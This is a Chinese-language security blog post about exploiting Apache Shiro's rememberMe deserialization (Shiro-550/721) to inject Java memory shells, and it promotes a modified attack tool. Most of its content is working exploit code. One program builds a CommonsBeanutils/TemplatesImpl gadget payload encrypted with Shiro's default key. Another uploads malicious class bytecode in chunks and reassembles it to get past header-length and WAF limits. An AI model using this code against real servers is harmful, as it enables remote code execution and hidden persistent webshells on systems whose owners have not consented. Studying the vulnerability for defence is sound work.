Skip to content

JavaSec 11-从Shiro内存马注入原理到二开工具

约 1429 字大约 5 分钟

Java

2025-04-05

前言

准备面试时候发现之前并没有写过 shiro 相关的分析,顺便结合之前分析的内存马,将 bypass waf 的手法去对 shiro attack 工具进行二开,尝试摆脱入门阶段学习 😦

工具已发布在https://github.com/Nijika0529/ShiroAttack2

shiro

环境搭建见之前文章JavaSec 入门-08-反序列化与内存马

原理概述

简而言之,在用户登陆时如果选择了 RememberMe ,shiro 就会将账号信息序列化去根据内置的 key 进行 AES 加密,然后储存在 cookie 的 rememberme 字段,在登陆时会自动反序列化去进行认证,既然存在反序列化,就会存在原生或者依赖的链子,常见的就是 shiro 原生自带的 CB

shiro550

懒得写太多关于前面 filter 的逻辑了,直接从重点开始写,环境是 SpringBoot2

每次接收到 Http 请求,会经过如下调用栈去进行 filter 的注册(忽略我不知道什么时候打进去的内存马)

image-20250407103356986

重点就是现在的 AbstractShiroFilter#doFilterInternal,而这个方法中createSubject方法调用时, 会解析当前用户的状态, 链路如下:

image-20250407103621334

image-20250407103709908

image-20250407103727749

image-20250407103817442

image-20250407103914929

image-20250407104729901

image-20250407110602340

在这里去解密

image-20250407110729974

问题就是老版本会直接写一个默认的 key

image-20250407110841675

所以

  • 用该 Key 恶意序列化值进行 AES 加密处理.
  • 将该 AES 值进行 Base64 编码操作
  • 将该 Base64值放入到 rememberMe 这个 Cookie 中

这样程序将进行反序列化黑客所指定的恶意序列化值.,从而引发反序列化漏洞

这里我直接用 CB 了,CC可能会因为数组什么的原因导致报错

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanutilsString {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] fileContent = Files.readAllBytes(Paths.get("C:\\Users\\28032\\Desktop\\test\\1.txt"));
        String classData = new String(fileContent, StandardCharsets.UTF_8).replace("\r", "").replace("\n", "").trim();
        byte[] classBytes = java.util.Base64.getDecoder().decode(classData);
        getPayload(classBytes);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser3.bin")));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws IOException,ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        Object obj = ois.readObject();
    }

    public static String getPayload(byte[] bytes) throws Exception {
        AesCipherService aesCipherService = new AesCipherService();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        byte[] escapeData = barr.toByteArray();
        // 如上已准备好序列化后的值
        ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
        System.out.println(encrypt.toBase64());
        return encrypt.toBase64();
    }
}

记得删了 session 打 image-20250407111144261

shiro721

触发原理一样但是是密码学问题,Shiro-721 漏洞的产生源自AES-128-CBC模式,它受 CBC 字节反转攻击和 Padding Oracle Attack(侧信道攻击)的影响,导致可以从一个正常的 rememberMe 的值基础上,根据 Padding Oracle Attack 的原理,通过爆破构造出恶意的 RememberMe,这也就是为什么后期换了 GCM 模式加密(工具里面那个按钮就是为了解决这个问题的)

内存马

无非就是在不同环境去获取到 request 域,注册 Filter,利用手法在之前第八篇文章讲过了,但是面对老生常谈的请求头过长问题,市面上常见的工具比如 shiro attack ,采用 rememberme 去写一个 defineclass ,去获取到请求包里的 post 参数,参数为 base64 编码的恶意类,从而去加载,这里我们换一种方法,采用切片上传恶意类编码,然后拼接去加载

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import test.CommonsBeanutilsString;

import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SetProperty  {
        public static void main(String[] args) throws Exception{
            byte[] base64bytes = Files.readAllBytes(Paths.get("C:\\Users\\28032\\Desktop\\test\\1.txt"));
            String base64 = new String(base64bytes, StandardCharsets.UTF_8);
            int groupSize = 1000;
            int length = base64.length();
            int startIndex = 0;
            int endIndex = Math.min(length, groupSize);
            int a = 1;
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            ClassPool classPool=ClassPool.getDefault();
            classPool.appendClassPath(AbstractTranslet);

            System.out.println("设置系统属性:");
            while (startIndex < length) {
                CtClass payload=classPool.makeClass(String.valueOf(a));
                payload.setSuperclass(classPool.get(AbstractTranslet));
                String group = base64.substring(startIndex, endIndex);
                startIndex = endIndex;
                endIndex = Math.min(startIndex + groupSize, length);
                String cmd = "System.setProperty(\""+a+"\",\""+group+"\");";
//            System.out.println(cmd);
                payload.makeClassInitializer().setBody(cmd);
                byte[] bytes=payload.toBytecode();
                String poc = new CommonsBeanutilsString().getPayload(bytes);
                System.out.println(poc);
                a++;
            }
            String bytestr ="";
            for(int i=1;i<=a-1;i++){
                if(i<a-1){
                    bytestr = bytestr + "System.getProperty(\""+i+"\")+";
                }else {
                    bytestr = bytestr + "System.getProperty(\""+i+"\");";
                }
            }
            String cmd = "{try {\n" +
                    "ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
                    "String base64Str = "+bytestr+"\n" +
                    "byte[] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\n" +
                    "java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class,int.class,int.class});\n" +
                    "defineClass.setAccessible(true);\n" +
                    "Class clazz = (Class)defineClass.invoke(classLoader,new Object[]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\n" +
                    "clazz.newInstance();\n" +
                    "}catch (Exception e){}}";
//        System.out.println(cmd);
            CtClass payload=classPool.makeClass("ld");
            payload.setSuperclass(classPool.get(AbstractTranslet));
            payload.makeClassInitializer().setBody(cmd);
            byte[] bytes=payload.toBytecode();
            String poc = new CommonsBeanutilsString().getPayload(bytes);
            System.out.println("加载字节码:\n"+poc);
        }
    }

分好片然后依次打进去,最后一步去加载,每次发包长度能控制在2k 左右,还是比较理想的,最后再把属性设置成 null ,我这里没写但是写在工具里了

工具编写

为了适配多种内存马和链子,工具比较复杂,导致最后的类加载长度不太理想

重写了部分 gadget 生成逻辑

image-20250405182024140

唉时隔小半年填上了之前的坑,也不知道有没有用处

参考文章

http://www.bmth666.cn/2024/11/03/Shiro绕过Header长度限制进阶利用/